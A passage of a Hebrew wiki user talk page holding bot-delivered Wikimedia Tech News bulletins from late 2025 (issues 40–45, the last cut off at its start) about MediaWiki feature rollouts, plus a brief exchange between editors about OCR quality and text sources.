* ההרחבה [[mw:Special:MyLanguage/Extension:CampaignEvents|CampaignEvents]] הופעלה גם ב[[m:Special:MyLanguage/CampaignEvents/Deployment status|וויקישיתוף]]. היא מקלה על ארגון שיתוף פעולה בפעילות משותפת על אתרי ויקי, דוגמת מרתוני עריכה או מיזמי ויקי. בוויקישיתוף יש לכל אחד הרשאת משתתף באירועים. כדי להיות מארגן האירועים צריך לקבל [[c:Special:MyLanguage/Commons:Event organizers|הרשאה רלוונטית]].
* התכונה בשם [[:m:Special:MyLanguage/WMDE Technical Wishes/Sub-referencing|Sub-referencing]], המאפשרת להשתמש בהערות של אותו מקור עם פרטים שונים, הגיעה לוויקיגרמנית. ניתן [[:m:Special:MyLanguage/WMDE Technical Wishes/Sub-referencing#test|לנסות את התכונה]] ב-testwiki וב-[https://en.wikipedia.beta.wmcloud.org/wiki/Sub-referencing betawiki]. אתם מוזמנים לשתף את משובכם על [[:m:Talk:WMDE Technical Wishes/Sub-referencing#Templates used in sub-references|שימוש בתבניות]] או [[:m:Talk:WMDE Technical Wishes/Sub-referencing#Pilot wikis|לנדב את אתר ויקי שלכם לניסוי]].
* באתרי ויקי המשתמשים במערכת [[mw:Special:MyLanguage/Help:Growth/Mentorship|Mentorship]] יכולות עכשיו הקהילות לקבוע אפיונים לגבי עורכים מנוסים שלא דורשים יותר חונכים באמצעות [[{{#special:CommunityConfiguration/Mentorship}}]]. זה מאפשר לקהילות להגדיר גבולות המבוססות על מספר העריכות וזמן מאז יצירת החשבון כדי להחליט שהעורך מנוסה מספיק ואין לו צורך בחונך. [https://phabricator.wikimedia.org/T403563]
* צוות העריכה וצוות למידת המכונה עובדים על בדיקה חדשה למשתמשים חדשים, [[mw:Special:MyLanguage/Edit check/Tone Check|Tone check]]. באמצעות מודל חיזוי תעודד הבדיקה עורכים לשפר את &quot;טון הדיבור&quot; של העריכות, באמצעות בינה מלאכותית. אנו מזמינים מתנדבים לעבור על גרסה ראשונה של מודל לשוני &quot;הטווס&quot;, בשפות הבאות: ערבית, צ'כית, גרמנית, עברית, אינדונזית, הולנדית, פולנית, רוסית, טורקית, סינית, פרסית, איטלקית, נורווגית, רומנית ולטבית. משתמשים מאתרי ויקי בשפות הללו המעוניינים לסקור את המודל מוזמנים [[mw:Special:MyLanguage/Edit_check/Tone_Check/Model_evaluation|להירשם באתר mediawiki.org]]. התאריך האחרון להרשמה הוא 3 באוקטובר, כשנתחיל את הניסוי.
* פריסת [[:mw:Special:MyLanguage/Help:Manage blocks|חסימות מרובות]] גרמה לתופעת לוואי לפיה רשומות חסימה שפעילותם כבר הסתיימה ממשיכות להופיע בדף {{#special:Contributions}} ובדפי שיחה ודפי משתמש של המשתמשים הרלוונטיים. הבעיה תתוקן תוך ימים בודדים. כחלק מהתיקון תוך מספר שבועות יוסרו [{{fullurl:Special:Allmessages|prefix=sp-contributions-blocked-notice}} הודעות המערכת המתחילות ב-&lt;code&gt;sp-contributions-blocked-notice&lt;/code&gt;] ויוחלפו ב[{{fullurl:Special:Allmessages|prefix=blocked-notice-logextract}} הודעות המערכות המתחילות ב-&lt;code&gt;blocked-notice-logextract&lt;/code&gt;]. אנא עזרו לתרגם את ההודעות החדשות ולטפל בגרסאות המקומיות אם יש בכך צורך.
* היה באג בקישורים שנוספו בעורך החזותי אם הם כללו תווים כמו &lt;code dir=ltr&gt;&lt;nowiki&gt;[ ] |&lt;/nowiki&gt;&lt;/code&gt; אחרי מזהה הפרק &lt;code&gt;&lt;nowiki&gt;#&lt;/nowiki&gt;&lt;/code&gt;. הקידוד היה פגום, מה שהוביל ליצירת קישור שגוי. הבעיה תוקנה. [https://phabricator.wikimedia.org/T404823]
* אתר ויקי חדש אחד נוצר: {{int:project-localized-name-group-wikiquote/he}} במלאית ([[q:ms:|&lt;code&gt;q:ms:&lt;/code&gt;]]) [https://phabricator.wikimedia.org/T404698]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:21|התקלה שדווחה|כל {{formatnum:21}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, [[mw:Special:MyLanguage/Product Safety and Integrity/Anti-abuse signals/User Info|כרטיס מידע על משתמש]] מציג מעכשיו חסימות גלובליות. [https://phabricator.wikimedia.org/T401128]

'''עדכונים לעורכים הטכניים'''
* בהמשך השבוע יקבלו כותבי יחידות Lua יכולת להשתמש בפונקציית &lt;code&gt;[[mw:Special:MyLanguage/Extension:Scribunto/Lua reference manual#mw.title.newBatch|mw.title.newBatch]]&lt;/code&gt; לבדיקת קיום עד 25 דפים בו זמנית כשמונה [[mw:Special:MyLanguage/Manual:Parser functions#Expensive parser functions|הפונקציות היקרות]] יעלה ב-1 בלבד.
* נוצר צוות חדש, [[m:Special:MyLanguage/Product and Technology Advisory Council/Unsupported Tools Working Group|צוות עבודה לכלים לא נתמכים]], וזאת כחלק מהמאמצים המתמשכים לקבל החלטה משותפת לגבי סדרי עדיפויות, בדומה למה שעושה PTAC, המועצה המייעצת למוצר וטכנולוגיה. צוות העבודה יעזור לתעדף ולסקור בקשות תמיכה בהרחבות, גאדג'טים, בוטים וכלים ללא השגחה. בשלב הראשון הצוות יעסוק בכלי ויקישיתוף.
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.21|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/40|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W40&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 23:53, 29 בספטמבר 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:UOzurumba (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29355230 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 41 ==

&lt;section begin=&quot;technews-2025-W41&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/41|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* בדיקה חדשה של Edit Check בשם [[mw:Special:MyLanguage/Help:Edit check#paste|Paste Check]] נועדה להלחם בהפרות זכויות יוצרים. כשעורכים מדביקים טקסט לתוך ערך, הבדיקה מציעה להם לבדוק את הרישיון של המקור. החל מיום רביעי, 8 באוקטובר, [[phab:T403680|22 אתרי ויקי יקבלו את הבדיקה]], לא כולל בעברית. הבדיקה תעזור למשתמשים החדשים להבין ולמלא אחר כללים והנחיות לתרומות מועילות במיזמי ויקי.
'''עדכונים לעורכים'''
* מכשירים ניידים יקבלו גרסת ניידים ישירות בדומיין הרגיל, דוגמת &lt;code&gt;en.wikipedia.org&lt;/code&gt;, במקום באמצעות הפניה דרך דומיין &quot;m&quot;, כמו &lt;code&gt;en.m.wikipedia.org&lt;/code&gt;. השינוי ישפר את היעילות, והוא יעבוד בכל ויקיפדיות החל מהשבוע. הכתובות הקיימות לניידים ואפשרות לכבות את תצוגת במחשבים ימשיכו לפעול. ניתן לקבל [[mw:Requests for comment/Mobile domain sunsetting/2025 Announcement|פרטים נוספים]]. [https://phabricator.wikimedia.org/T214998]
* [[mw:Special:MyLanguage/Help:CirrusSearch#creationdate and lasteditdate|מסנני מידע חדשים]], בשם &lt;code dir=ltr&gt;creationdate:&lt;/code&gt; ו-&lt;code dir=ltr&gt;lasteditdate:&lt;/code&gt;, זמינים עכשיו במנוע החיפוש של ויקי. הם מאפשרים לסנן את תוצאות החיפוש לפי תאריך העריכה הראשונה והאחרונה של הדף. המסננים תומכים באופרטורים להשוואה, כמו &lt;code dir=ltr&gt;&gt;2024&lt;/code&gt;, ובתאריכים יחסיים, כמו &lt;code dir=ltr&gt;today-1d&lt;/code&gt;, ובכך מקלים על מציאת תוכן שעודכן לאחרונה או דפים בטווח זמן מוגדר. [https://phabricator.wikimedia.org/T403593]
* [[f:|ויקיפונקציות]] תומכות מעכשיו בפורמט ה-rich text בקריאות מובנות ב-150 אתרי ויקי בהם הן מופעלות. כדי להדגים זאת יצר הצוות את [[f:Z26333|טבלת היחסות הלטינית]] שעורכי ויקימילון יכולים להשתמש בה כדי ליצור צורות שמות עצם בצורה אוטומטית, ולקבל תוצאות נקיות בפורמט ברור, כמו שניתן לראות ב[[f:Wikifunctions:Embedded function calls/Wiktionary tables demonstration|דוגמת פלט]]. כדי לקבל עזרה או להשאיר משוב ניתן [[f:Wikifunctions:Project chat|לפנות לצוות ויקיפונקציות]]. [https://phabricator.wikimedia.org/T397402]
* קישור עריכה יופיע בצמוד לרשימת הקטגוריות של הערך למשתמשים מחוברים, כשהלחיצה תעביר לחלון הקטגוריות של העורך החזותי. [https://phabricator.wikimedia.org/T291691]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:34|התקלה שדווחה|כל {{formatnum:34}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, תוקנה הבעיה בהורדת קבצי pdf מהשבוע שהעבר. [https://phabricator.wikimedia.org/T405957]
'''עדכונים לעורכים הטכניים'''
* השדה &lt;code dir=ltr&gt;rev_sha1&lt;/code&gt; בטבלת revision בבסיס הנתונים הוחלף בשדה &lt;code dir=ltr&gt;content_sha1&lt;/code&gt; בטבלת content. פרטים נוספים ב[https://lists.wikimedia.org/hyperkitty/list/cloud@lists.wikimedia.org/thread/2D2M3SP4WHR6BXXKTZ2PBLZQYR3EGQVR/ הודעה].
* [[mw:Special:MyLanguage/Reading/Web|צוות חווית הקריאה]] יפרוס את [[w:en:Light-on-dark color scheme|המצב הכהה]] של ממשק המשתמש לכל אתרי ויקי של ויקימדיה ב-29 באוקטובר 2025. כל המשתמשים האנונימיים יוכלו להדליק אותו כדי לקבל טקסט בהיר על רקע כהה. זה נועד לספק חווית קריאה נוחה יותר במצב של מחסור בתאורה בסביבה. כותבי תבניות ועורכים טכניים מוזמנים [[mw:Special:MyLanguage/Reading/Web/Accessibility for reading/Updates/2024-04|ללמוד איך להכין דפים למצב הכהה]] ולפנות לעזרה עם בעיות בתבניות באתרי ויקי שלהם לפני יום הפריסה. צוות הרשת יקבל שאלות ובקשות תמיכה ב[[mw:Talk:Reading/Web/Accessibility for reading#|דף השיחה]] לפני היום האמור. [https://phabricator.wikimedia.org/T395628]
* החל מיום שני, 6 באוקטובר, נקודות הקצה של API במסלול &lt;code&gt;rest.php&lt;/code&gt; ינותבו דרך שער API פנימי חדש. אתרי ויקי יקבלו בנפרד הודעות בהתאם לקבוצות פריסה רגילות, כשהטראפיק יעלה במשך הזמן. לא מדובר ב-breaking change והעבודה לא תופרע. במקרה של בעיה יש לפתוח דיווח תקלה חדש בפבריקטור ב[[phab:tag/serviceops/|לוח הצוות לשירותים מבצעיים]]. [https://phabricator.wikimedia.org/T400130]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.22|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/41|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W41&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 20:24, 6 באוקטובר 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29400897 --&gt;

== פרי מגדים ==

תוכל להסביר לי בקצרה איך ליצור עמודים תקינים? [[משתמש:מ. רובין|מ. רובין]] &lt;small class=&quot;plainlinks&quot;&gt;([[שיחת משתמש:מ. רובין|שיחה]] | [[מיוחד:תרומות/מ.רובין|תרומות]])&lt;/small&gt; 15:46, 9 באוקטובר 2025 (IDT)
: {{א|מ. רובין}}, אתה מתכוון לפלט ה-OCR? הבעייה העיקרית היא באיכות הגרועה של הדפוס שבו השתמשו פה, שאיננה מאפשרת לעניות דעתי פלט OCR תקין. אני לוקח את הטקסט שאני משתמש בו ממקור אחר ולא מהקבצים שהועלו כאן לאתר.-- [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 18:06, 9 באוקטובר 2025 (IDT)
::מאיפה אתה לוקח? [[משתמש:מ. רובין|מ. רובין]] &lt;small class=&quot;plainlinks&quot;&gt;([[שיחת משתמש:מ. רובין|שיחה]] | [[מיוחד:תרומות/מ.רובין|תרומות]])&lt;/small&gt; 22:33, 9 באוקטובר 2025 (IDT)
::: אני לוקח מאחד המאגרים התורניים שאני מנוי אליהם, ומכיוון שייתכן שהוא מכיל אלמנטים של עריכה המוגנים בזכויות יוצרים, אני משתדל להתאים את הטקסט שלהם לנוסח שמופיע כאן עד כמה שאפשר. במובן הזה, המהדורה שהועלתה לכאן עוזרת לי להגיה מולה את הטקסט כדי שלא להפר זכויות של מהדורה מעודכנת יותר. אני מעדיף לא לפרט מאיזה מאגר בדיוק אני לוקח, כי אני לא בטוח שמה שאני עושה פה ימצא חן בעיניהם ואני מעדיף לא להסתבך איתם.-- [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 22:55, 9 באוקטובר 2025 (IDT)
::::{{לייק}} [[משתמש:מ. רובין|מ. רובין]] &lt;small class=&quot;plainlinks&quot;&gt;([[שיחת משתמש:מ. רובין|שיחה]] | [[מיוחד:תרומות/מ.רובין|תרומות]])&lt;/small&gt; 22:57, 9 באוקטובר 2025 (IDT)

== ידיעות הטכנולוגיה 2025 – גיליון 42 ==

&lt;section begin=&quot;technews-2025-W42&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/42|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* בשבוע שעבר הופעלו בכל אתרי ויקי שיפורים לאבטחת החשבונות ותכונות ה-2FA. השינויים כוללים שיפורים לממשק המשתמש בדף [https://auth.wikimedia.org/metawiki/wiki/Special:AccountSecurity מיוחד:AccountSecurity], תמיכה ביותר מדרך אחת לזיהוי 2FA באמצעות יישומוני 2FA ומפתחות פיזיים, ויחידת הקודים לשחזור החדשה שתצמצם את כמות הנעילות מחוץ לחשבון בגלל איבוד יישומונים ומכשירים. כחלק ממיזם [[mw:Special:MyLanguage/Product Safety and Integrity/Account Security|אבטחת החשבונות]] במהלך 2025 נמשכת העבודה על שיפור נוסף של חווית המשתמש ותמיכה ב-passkeys כחלק אלטרנטיבי ל-2FA. 

'''עדכונים לעורכים'''

* חלק נוסף ממיזם אבטחת החשבונות מדבר על זמינות ה-2FA לכל המשתמשים. יחד עם עורכים בעלי הרשאות גבוהות, כמו מפעילים ובירוקרטים, ל-40% מהעורכים יש עכשיו גישה ל-2FA. ניתן לבדוק אם יש לכם גישה בדף [https://auth.wikimedia.org/metawiki/wiki/Special:AccountSecurity מיוחד:AccountSecurity]. ההנחיות להפעלה נמצאות בדף המקושר. התוכנית היא להמשיך ולהעלות את הזמינות כל עוד לא יהיו בעיות עם כך. [https://phabricator.wikimedia.org/T400579]
* השבוע יקבלו המשתמשים בכל אתרי ויקי בהם פעילים [[mw:Special:MyLanguage/Talk pages project/Usability|שיפורי שימוש]], כולל אתרי ויקי בעברית, ואלו כל אתרי ויקי למעט 12 המופיעים ב[[phab:T379264|פבריקטור]], יכולת להודות על תגובה ישירות מדף השיחה בה היה מופיעה. עד כה היה צורך במעבר להיסטוריית העריכות. ניתן [[diffblog:2025/10/13/revolutionizing-gratitude-a-new-era-of-thanking-comments/|ללמוד פרטים נוספים על השינוי הזה]]. [https://phabricator.wikimedia.org/T366095]
* המשתמשים שלא [[Special:Preferences#mw-prefsection-personal-email|אישרו את חשבון הדוא&quot;ל שלהם]] יקבלו בקרוב הודעות תזכורת חודשיות בעניין. הסיבה היא היכולת של אלו שאישרו את הכתובת לשחזר בדרך פשוטה יותר גישה לחשבון. התזכורות לא יישלחו למשתמשים לא פעילים או לאלו שיסירו את הכתחבת בהעדפות. [https://www.mediawiki.org/wiki/Special:MyLanguage/Help:Email_confirmation][https://phabricator.wikimedia.org/T58074]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:21|התקלה שדווחה|כל {{formatnum:21}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, נעשה תיקון לבאג שמירת הסעיפים המתורגמים בכלי תרגום התוכן, ומעכשיו ניתן לראות את הודעות השגיאה הרלוונטיות בצורה פשוטה יותר. [https://phabricator.wikimedia.org/T376531]

'''עדכונים לעורכים הטכניים'''

* צוות העבודה על כלים ללא תמיכה בחר ב-[[c:Special:MyLanguage/Commons:Video2commons|Video2Commons]] ככלי הראשון לתקופת הנסיון. הקבוצה תחקור דרכים לשיפור ותמיכה בכלי בחודשים הקרובים. [[m:Special:MyLanguage/Product and Technology Advisory Council/Unsupported Tools Working Group|פרטים נוספים במטא]].
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.23|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/42|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W42&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 22:00, 13 באוקטובר 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29434481 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 43 ==

&lt;section begin=&quot;technews-2025-W43&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/43|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* לצורך שיפור יעילות שמירת המידע בבסיסי הנתונים שלנו נמחקו העדפות אישיות של משתמשים בעלי פחות ממאה עריכות שלא התחברו לחשבון יותר מחמש שנים. אם המשתמשים הללו יחזרו הם יראו העדפות ברירת מחדל. [https://phabricator.wikimedia.org/T406724]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:20|התקלה שדווחה|כל {{formatnum:20}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, בממשק של דף התרומות הגלובליות תוקן קישור שבור לתרומות גלובליות ב-XTools.&amp;rlm; [https://phabricator.wikimedia.org/T406415]

'''עדכונים לעורכים הטכניים'''
* הסתיימה העבודה שנועדה לנווט מחדש את כל התנועה לנקודות קצה של API במסלול &lt;code dir=ltr&gt;&lt;nowiki&gt;rest.php&lt;/nowiki&gt;&lt;/code&gt; אל שער API משותף. אם יצוצו בעיות יש לפתוח תקלה בפבריקטור בלוח של [[phab:tag/serviceops/|צוות מבצעי השירות]].
* העריכות במקורות או מבחינים של ויקינתונים יוצגו עכשיו פחות בדפי השינויים האחרונים ורשימת המעקב באתרי ויקי אחרים, וזאת כדי לצמצם הודעות מיותרות. זה יקטין את הכמות הכוללת של הרעש. בדפים של ויקינתונים לא יהיה שינוי. [https://phabricator.wikimedia.org/T401290]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.24|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/43|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W43&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 22:37, 20 באוקטובר 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29478670 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 44 ==

&lt;section begin=&quot;technews-2025-W44&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/44|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* צוות היישומון של ויקיפדיה עבור iOS התחיל בבדיקת A/B/C לשיפורים שנעשו במעבר בין כרטיסיות בחלק מהמקומות והשפות. הבדיקה, שנקראת &quot;יותר כרטיסיות דינמיות&quot;, חוקרת חוויות בשימוש בכרטיסיות חדשות, וכוללת &quot;הידעת?&quot; ו&quot;כיוון שקראת&quot;, המלצות לערכים. ניתן למצוא [[mw:Special:MyLanguage/Wikimedia Apps/Team/iOS/Tabbed Browsing (Tabs)/New Tab Experience and Recommendations Experiment|פרטים נוספים]] בדף המיזם.
* משתמשים ותיקים ב[[gitiles:operations/mediawiki-config/+/a2d2aaab9ace84280dd2f4c70a33bb69cd73850f/dblists/small.dblist|אתרי ויקי קטנים]] ו[[gitiles:operations/mediawiki-config/+/a2d2aaab9ace84280dd2f4c70a33bb69cd73850f/dblists/medium.dblist|בינוניים]], כולל כל האתרים בעברית למעט ויקיעברית, שיש בהם את ההרחבה CampaignEvents, יכולים עכשיו לבצע [[m:Special:MyLanguage/Event Center/Registration|רישום אירועים]] ללא הרשאת מארגן האירועים. הכלי מאפשר למארגנים לפתוח הרשמה, לנהל משתתפים ומאפשר למשתמשים להירשם בלחיצה אחת במקום חתימה על דף האירוע.
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:31|התקלה שדווחה|כל {{formatnum:31}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, תוקנה בעיית הבהוב הצבעים בזמן לחיצה או החזקת כפתורי החיצים במצב כהה בווקטור החדש. [https://phabricator.wikimedia.org/T402285]

'''עדכונים לעורכים הטכניים'''

* ההרחבה CampaignEvents תופעל בכל יתר אתרי ויקי בשבוע של 17 בנובמבר. זה לא נוגע לאתרים בעברית. ההרחבה כוללת עכשיו שלושה כלים: רישום האירועים, רשימת שיתופי הפעולה ורשימת ההזמנות. הפעם לא תופעל רשימת ההזמנות בוויקיפונקציות ו-mediawiki.org, אלא אם הקהילות יבקשו זאת. [[m:Special:MyLanguage/CampaignEvents/Deployment status|פרטים נוספים בדף הפריסה]].
* ארגז החול של REST המבוסס על SwaggerUI פעיל עכשיו בכל אתרי ויקי. ניתן למצוא את ארגז החול בדף [[{{#special:RestSandbox}}]]. אנא דווחו על הבעיות בלוח צוות הממשקים של מדיה-ויקי, או הצטרפו לדיון ב[[mw:Special:MyLanguage/MediaWiki Interfaces Team/Feature Feedback/REST Sandbox|דף ההשקה]]. [https://phabricator.wikimedia.org/project/board/6931/]
* נקודות קצה להמרה עם מסלול בעל סלש עוקב הוכרזו כמיושנים ב-REST API של מדיה-ויקי. הן יישארו פעילות עד שיוסרו בינואר 2026. כל מי שמשתמש בהן עכשיו מוזמן לעבור לגרסאות ללא סלש עוקב. ניתן למצוא ולבדוק את שתי האפשרויות ב[https://test.wikipedia.org/w/index.php?api=mw-extra&amp;title=Special%3ARestSandbox ארגז החול של REST]. מידע מפורט על מדיניות ונהלים של API מתיישן ניתן למצוא ב[[mw:API/Deprecation|דף ההתיישנות של REST API של מדיה-ויקי]].
* נוצר [[mw:API:REST API/Changelog|יומן השינויים של REST API של מדיה-ויקי]]. הוא מספק את סקירת השינויים כדי להקל על המעקב של שיפורים וגרסאות. הודעות נפרדות ימשיכו להופיע בערוצים הרגילים, כולל ידיעות הטכנולוגיה ואי-מיילים, אבל יופיעו גם ביומן כדי לרכז את המידע. עם המשוב לגבי הסגנון, המבנה, או התוכן של היומן ניתן לפנות ל[[mw:API talk:REST API/Changelog|דיון הרלוונטי]].
* המפעילים יכולים עכשיו למחוק את קטגוריית המעקב שנוספה בידי הרחבת JsonConfig ולא נמצאת בשימוש יותר. את הקטגוריות ניתן למצוא ב[[d:Q130635582#sitelinks-wikipedia|פריט ויקינתונים]]. אין בעיה למחוק אם יש עדיין דפים בקטגוריה, הם נמצאים במטמון וייעלמו אחרי העריכה הבאה שלהם. [https://phabricator.wikimedia.org/T378352]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.25|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/44|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W44&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 21:32, 27 באוקטובר 2025 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29513638 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 45 ==

&lt;section begin=&quot;technews-2025-W45&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/45|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
